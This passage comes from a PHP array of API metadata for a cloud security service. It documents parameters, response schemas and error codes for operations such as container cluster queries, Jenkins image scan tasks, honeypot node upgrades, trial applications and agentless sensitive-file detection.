'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '119.145.XXX.XXX', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c0e9efc6dea5f41db93b7e977123c****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578AB****', ], 'KritisStatus' => [ 'description' => 'The Kritis status of the ACK cluster.'."\n", 'type' => 'object', 'properties' => [ 'Install' => [ 'description' => 'Indicates whether Kritis is installed. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578AB****\\",\\n \\"KritisStatus\\": {\\n \\"Install\\": true\\n }\\n}","type":"json"}]', 'title' => 'DescribeContainerServiceK8sClusterKritisStatus', ], 'DescribeContainerServiceK8sClusterNamespaces' => [ 'summary' => 'Queries the namespace of a Container Service for Kubernetes (ACK) cluster.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92040', 'abilityTreeNodes' => [ 'FEATUREsasJEFOWE', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '140.205.XXX.XXX', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The cluster ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cf4435fefd45d4b1b8643f3a0bea3****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '0C8487EF-50C2-54BB-8634-10F8C35D****', ], 'K8sClusterNamespaces' => [ 'description' => 'The namespaces.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Namespace' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'example' => 'default', ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'AckFailure', 'errorMessage' => 'Failed to operate ack.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0C8487EF-50C2-54BB-8634-10F8C35D****\\",\\n \\"K8sClusterNamespaces\\": [\\n {\\n \\"Namespace\\": \\"default\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeContainerServiceK8sClusterNamespaces', ], 'CreateJenkinsImageScanTask' => [ 'summary' => 'Creates a Jenkins scan task.', 'methods' => [ 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '120058', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Token', 'in' => 'formData', 'schema' => [ 'title' => 'jenkins 镜像仓库 token，必填', 'description' => 'The token that is used to access the Jenkins image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c3de8326-273e-11fc-a0e3-d012435c****', ], ], [ 'name' => 'Namespace', 'in' => 'formData', 'schema' => [ 'title' => '镜像命名空间，可选', 'description' => 'The namespace.'."\n", 'type' => 'string', 'required' => false, 'example' => 'lkl-zf-ss-ccss', ], ], [ 'name' => 'RepoName', 'in' => 'formData', 'schema' => [ 'title' => 'repo名称', 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sdk', ], ], [ 'name' => 'Tag', 'in' => 'formData', 'schema' => [ 'title' => '镜像标签', 'description' => 'The tag of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => '00f597223f-20210831-1', ], ], [ 'name' => 'Digest', 'in' => 'formData', 'schema' => [ 'title' => '镜像 digest', 'description' => 'The digest of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'a8c9f3765684cd8d9053db9523eab58878e99a199217500efd9ae2a860a7e01e', ], ], [ 'name' => 'ImageId', 'in' => 'formData', 'schema' => [ 'title' => 'imageId', 'description' => 'The ID of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'b10ef7b245c34a0822055c74fc4a0e8b5baf0279306316b2c517a501ed250b1e', ], ], [ 'name' => 'ImageSize', 'in' => 'formData', 'schema' => [ 'title' => '镜像大小，字节', 'description' => 'The size of the image. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '6120340', ], ], [ 'name' => 'ImageCreate', 'in' => 'formData', 'schema' => [ 'title' => '创建时间，timestamp', 'description' => 'The time when the image was created.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1717430400000', ], ], [ 'name' => 'ImageUpdate', 'in' => 'formData', 'schema' => [ 'title' => '修改时间，timestamp', 'description' => 'The time when the image was updated.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1717430498600', ], ], [ 'name' => 'Uuid', 'in' => 'formData', 'schema' => [ 'title' => '资产 uuid', 'description' => 'The UUID of the image asset.'."\n", 'type' => 'string', 'required' => false, 'example' => '5b268326-273e-44fc-a0e3-9482435c****', ], ], [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '119.136.XX.XX', ], ], [ 'name' => 'JenkinsEnv', 'in' => 'query', 'schema' => [ 'description' => 'The information about the Jenkins environment.'."\n", 'type' => 'string', 'required' => false, 'example' => 'release', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'TaskId' => [ 'title' => '扫描任务 id', 'description' => 'The ID of the scan task.'."\n", 'type' => 'string', 'example' => 'fc98d58eb56f699d49bf7ebbd6d7****', ], 'Uuid' => [ 'title' => '资产 uuid', 'description' => 'The UUID of the image asset.'."\n", 'type' => 'string', 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', ], 'ImageScanCapacity' => [ 'title' => '镜像扫描授权数目', 'description' => 'The quota for image scan.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '100', ], 'RepoRegionId' => [ 'title' => '镜像仓regionId', 'description' => 'The ID of the region.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'RepoInstanceId' => [ 'title' => '镜像仓实例id', 'description' => 'The instance ID of the image repository.'."\n", 'type' => 'string', 'example' => 'cri-0gkaatghnmnt****', ], 'RepoId' => [ 'title' => 'repoId', 'description' => 'The ID of the image repository.'."\n", 'type' => 'string', 'example' => 'crr-upze3gcopm9c****', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '52870893-48A7-5A9E-9E05-6253E5B6****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"TaskId\\": \\"fc98d58eb56f699d49bf7ebbd6d7****\\",\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"ImageScanCapacity\\": 100,\\n \\"RepoRegionId\\": \\"cn-hangzhou\\",\\n \\"RepoInstanceId\\": \\"cri-0gkaatghnmnt****\\",\\n \\"RepoId\\": \\"crr-upze3gcopm9c****\\"\\n },\\n \\"RequestId\\": \\"52870893-48A7-5A9E-9E05-6253E5B6****\\"\\n}","type":"json"}]', 'title' => 'CreateJenkinsImageScanTask', ], 'UpgradeHoneypotNode' => [ 'summary' => 'Upgrades the version of the management node to which a honeypot belongs.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'chargeType' => 'free', 'abilityTreeCode' => '160476', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], 'autoTest' => false, ], 'parameters' => [ [ 'name' => 'AllowHoneypotAccessInternet', 'in' => 'query', 'schema' => [ 'title' => '是否允许蜜罐访问外网', 'description' => 'Specifies whether to allow the honeypot to access the Internet. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'NodeId', 'in' => 'query', 'schema' => [ 'title' => '管理节点id', 'description' => 'The ID of the management node that you want to upgrade.'."\n" ."\n" .'> You can call the [ListHoneypotNode](~~ListHoneypotNode~~) operation to obtain the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response.'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the call is successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F832F2D0-C4CD-507B-8C14-CE1F25A7*****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"F832F2D0-C4CD-507B-8C14-CE1F25A7*****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'UpgradeHoneypotNode', ], 'QueryGuidTaskList' => [ 'summary' => 'Queries the list of beginner tasks. Security Center provides rewards for users who complete tasks. The rewards include the quota for a value-added feature and log storage capacity.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447D****', ], 'GuideTaskConfigList' => [ 'description' => 'The list of beginner tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the beginner task.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the beginner task. Valid values:'."\n" ."\n" .'* **0**: disabled.'."\n" .'* **1**: in progress.'."\n" .'* **2**: complete.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'TaskTypeName' => [ 'description' => 'The name of the task type. Valid values:'."\n" ."\n" .'* **guid_task_security_score_promote_video**: the task of viewing a video tutorial for beginners.'."\n" .'* **guide_sub_task_config_defence_hbr**: the task of configuring anti-ransomware for servers.'."\n" .'* **guide_sub_task_config_uni_defence_hbr**: the task of configuring anti-ransomware for databases.'."\n" .'* **guid_task_log_analysis_config**: the task of configuring log analysis.'."\n" .'* **guide_sub_task_web_lock_config**: the task of configuring web tamper proofing.'."\n" .'* **guide_sub_task_config_anti_crack**: the task of configuring protection against brute-force attacks.'."\n" .'* **guid_task_container_security_video**: the task of viewing the video on how to protect containers.'."\n" .'* **guid_task_container_image_scan_config**: the task of configuring container image scan.'."\n" .'* **guid_task_k8s_log_analysis_config**: the task of configuring threat detection on Kubernetes containers.'."\n" .'* **guid_task_container_network**: the task of configuring container network visualization.'."\n" .'* **guide_sub_task_config_add_collection**: the task of saving a console URL.'."\n" .'* **guide_sub_task_vul_scan**: the task of scanning for vulnerabilities.'."\n" .'* **guide_sub_task_virusKill**: the task of configuring virus detection and removal.'."\n", 'type' => 'string', 'example' => 'guide_sub_task_config_add_collection', ], 'TaskId' => [ 'description' => 'The ID of the beginner task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => 't-000d8slfgx4p40kb64ad', ], 'RewardData' => [ 'description' => 'The information about the reward for a complete task.'."\n", 'type' => 'object', 'properties' => [ 'Reward' => [ 'description' => 'The name of the reward. Valid values:'."\n" ."\n" .'* **addTrialDay**: the days of trial use.'."\n" .'* **addAntiRansomwareCapacity**: the anti-ransomware capacity.'."\n" .'* **addImageScanAuthCount**: the quota for container image scan.'."\n" .'* **addWebLockAuthCount**: the quota for web tamper proofing.'."\n" .'* **addSlsCapacity**: the log storage capacity.'."\n", 'type' => 'string', 'example' => 'addWebLockAuthCount', ], 'RewardConfig' => [ 'description' => 'The reward configuration. The value of this parameter is in the JSON format.'."\n" ."\n" .'> The key indicates the reward type, and the value indicates the number of rewards. Valid values of key:'."\n" ."\n" .'* **webLockAuthCount**: the quota for web tamper proofing.'."\n" .'* **webLockAuthCount**: the anti-ransomware capacity. Unit: GB.'."\n" .'* **slsCapacity**: the log storage capacity. Unit: GB.'."\n" .'* **days**: the days of trial use.'."\n" .'* **imageScanAuthCount**: the quota for container image scan.'."\n" .'* **honeypotAuthCount**: the quota for cloud honeypot.'."\n", 'type' => 'string', 'example' => '{"days":60,"ransomwareCapacity":100}', ], 'IsRewardTaked' => [ 'description' => 'Indicates whether the reward is claimed. Valid values:'."\n" ."\n" .'* **1**: no.'."\n" .'* **2**: yes.'."\n", 'type' => 'string', 'example' => '1', ], ], ], 'SecurityScore' => [ 'description' => 'The security score that is increased after you complete the task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '80', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447D****\\",\\n \\"GuideTaskConfigList\\": [\\n {\\n \\"Status\\": 0,\\n \\"TaskTypeName\\": \\"guide_sub_task_config_add_collection\\",\\n \\"TaskId\\": 0,\\n \\"RewardData\\": {\\n \\"Reward\\": \\"addAntiRansomwareCapacity\\",\\n \\"RewardConfig\\": \\"{\\\\\\"days\\\\\\":60,\\\\\\"ransomwareCapacity\\\\\\":10}\\",\\n \\"IsRewardTaked\\": \\"1\\"\\n },\\n \\"SecurityScore\\": 80\\n }\\n ]\\n}","type":"json"}]', 'title' => 'QueryGuidTaskList', ], 'CreateSasTrial' => [ 'summary' => 'Applies for a trial of Security Center.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '138066', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'TryVersion', 'in' => 'formData', 'schema' => [ 'description' => 'The trial edition. Valid values:'."\n" ."\n" .'* **3**: Enterprise'."\n" .'* **7**: Ultimate'."\n" ."\n" .'> You can call the [GetCanTrySas](~~2623574~~) operation to obtain the trial edition.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '7', ], ], [ 'name' => 'FromEcs', 'in' => 'formData', 'schema' => [ 'description' => 'Specifies whether the request is redirected from the Elastic Compute Service (ECS) console. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'TryType', 'in' => 'formData', 'schema' => [ 'title' => '试用类型', 'description' => 'The trial type. Valid values:'."\n" ."\n" .'* **0**: trial prohibited'."\n" .'* **1**: first trial'."\n" .'* **2**: second trial'."\n" ."\n" .'> You can call the [GetCanTrySas](~~2623574~~) operation to obtain the trial type. You can start a trial only if this parameter is not set to 0.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'RequestForm', 'in' => 'formData', 'style' => 'json', 'schema' => [ 'title' => '试用申请表', 'description' => 'The reason why you apply for the trial. You must specify the reason for the second trial.'."\n", 'type' => 'object', 'properties' => [ 'TryReason' => [ 'description' => 'The reason why you apply for the trial.'."\n", 'type' => 'string', 'required' => false, 'example' => 'for poc', ], ], 'required' => false, ], ], [ 'name' => 'Lang', 'in' => 'formData', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '9D22BDB7-C0**328A2B2E9', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9D22BDB7-C0**328A2B2E9\\"\\n}","type":"json"}]', 'title' => 'CreateSasTrial', ], 'GetCanTrySas' => [ 'summary' => 'Checks whether the current user is qualified for the trial use of Security Center.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'FromEcs', 'in' => 'formData', 'schema' => [ 'description' => 'Specifies whether the request is redirected from the Elastic Compute Service (ECS) console. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'Lang', 'in' => 'formData', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'CanTry' => [ 'description' => 'Indicates whether the user is qualified for the trial use. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => 'true', ], 'TryType' => [ 'description' => 'The trial type. Valid values:'."\n" ."\n" .'* **0**: trial prohibited'."\n" .'* **1**: first trial'."\n" .'* **2**: second trial'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'CanTryVersions' => [ 'description' => 'The editions that are allowed for the trial use.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The edition. Valid values:'."\n" ."\n" .'* **3**: Enterprise'."\n" .'* **7**: Ultimate'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '8BAA57***B7073A5C1', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"CanTry\\": 0,\\n \\"TryType\\": 1,\\n \\"CanTryVersions\\": [\\n 7\\n ]\\n },\\n \\"RequestId\\": \\"8BAA57***B7073A5C1\\"\\n}","type":"json"}]', 'title' => 'GetCanTrySas', ], 'ReceiveFunctionTrialRewardByAliUid' => [ 'summary' => 'Receives a reward that allows you to enable a free trial of the cloud honeypot feature or the feature of SDK for malicious file detection. You can receive a reward after you complete the required task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '137520', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [ [ 'name' => 'FunctionName', 'in' => 'query', 'schema' => [ 'title' => '试用方法名称', 'description' => 'The name of the feature for which you want to apply for a free trial. Valid values:'."\n" ."\n" .'* **trail_honeypot_reward**: cloud honeypot'."\n" .'* **trail_file_detect_api_reward**: SDK for malicious file detection'."\n", 'type' => 'string', 'required' => false, 'example' => 'trail_honeypot_reward', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '94004FDB-27EC-5666-83D4-D0C5C624****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"94004FDB-27EC-5666-83D4-D0C5C624****\\"\\n}","type":"json"}]', 'title' => 'ReceiveFunctionTrialRewardByAliUid', ], 'DescribeAgentlessSensitiveFileByKey' => [ 'summary' => 'Queries the list of assets on which a specific type of sensitive files are detected by using the agentless detection feature.', 'methods' => [ 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '225179', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], ], 'parameters' => [ [ 'name' => 'SensitiveFileKey', 'in' => 'query', 'schema' => [ 'description' => 'The type of the sensitive file.'."\n", 'type' => 'string', 'required' => false, 'docRequired' => true, 'example' => 'sshpasswd', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the baseline risk. Valid values:'."\n" ."\n" .'* **0**: unfixed.'."\n" .'* **1**: fixed.'."\n", 'type' => 'string', 'required' => false, 'example' => '0', ], ], [ 'name' => 'InstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The instance ID of the asset that is scanned. To query the instance ID, go to the Task Management page, click Details of a task, and then view the value of Check On.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-bp1fu4aqltf1huhc****', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The name or IP address of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '50', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The types of the assets that are scanned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the asset that is scanned. Valid values:'."\n" ."\n" .'* **agentless_image**: the image of the host.'."\n" .'* **agentless_snapshot**: the snapshot of the host.'."\n" .'* **ecs_image**: a custom image.'."\n" .'* **ecs_snapshot**: a user-created snapshot.'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless_image', ], 'required' => false, ], ], [ 'name' => 'ImageUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the asset that is scanned. You can query the UUID on the Host or Cloud Product page. If you scan a host, set this parameter to the UUID of the scanned host. If you scan a snapshot or a custom image, set this parameter to the ID of the scanned snapshot or image.'."\n", 'type' => 'string', 'required' => false, 'example' => '06293273b67d19516cfcc712194f****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'FBBEB173-1F43-505F-A876-C03ECDF6CE4C', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'SensitiveFileList' => [ 'description' => 'The information about the sensitive files that are detected by using the agentless detection feature.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the sensitive file that is detected by using the agentless detection feature.'."\n", 'type' => 'object', 'properties' => [ 'SensitiveFileKey' => [ 'description' => 'The type of the sensitive file.'."\n", 'type' => 'string', 'example' => 'pem', ], 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'enumValueTitles' => [], 'example' => 'high', ], 'InternetIp' => [ 'description' => 'The public IP address of the asset.'."\n", 'type' => 'string', 'example' => '95.214.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the asset.'."\n", 'type' => 'string', 'example' => '10.68.XX.XX', ], 'Uuid' => [ 'description' => 'The UUID of the asset.'."\n", 'type' => 'string', 'example' => '73e6a851-e63b-49ef-9d7a-5542d765****', ], 'TargetName' => [ 'description' => 'The name of the asset.'."\n", 'type' => 'string', 'example' => 'SAS_Agentless_171869952****', ], 'Status' => [ 'description' => 'The status of the sensitive file. Valid values:'."\n" ."\n" .'* **0**: unhandled.'."\n" .'* **1**: ignored.'."\n" .'* **2**: false positive.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'InstanceName' => [ 'description' => 'The instance name of the asset.'."\n", 'type' => 'string', 'example' => 'test-server', ], 'FirstScanTime' => [ 'description' => 'The timestamp when the first scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1663321552000', ], 'LastScanTime' => [ 'description' => 'The timestamp when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1663691592000', ], 'Md5' => [ 'description' => 'The MD5 hash value of the sensitive file.'."\n", 'type' => 'string', 'example' => 'b484b0dff093f358897486b58266****', ], 'FilePath' => [ 'description' => 'The path to the sensitive file.'."\n", 'type' => 'string', 'example' => '/usr/lib/abc.txt', ], 'Prompt' => [ 'description' => 'The content of the sensitive file.'."\n", 'type' => 'string', 'example' => 'mysql -u -p****', ], 'Id' => [ 'description' => 'The ID of the alert for the sensitive file.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '423505573', ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 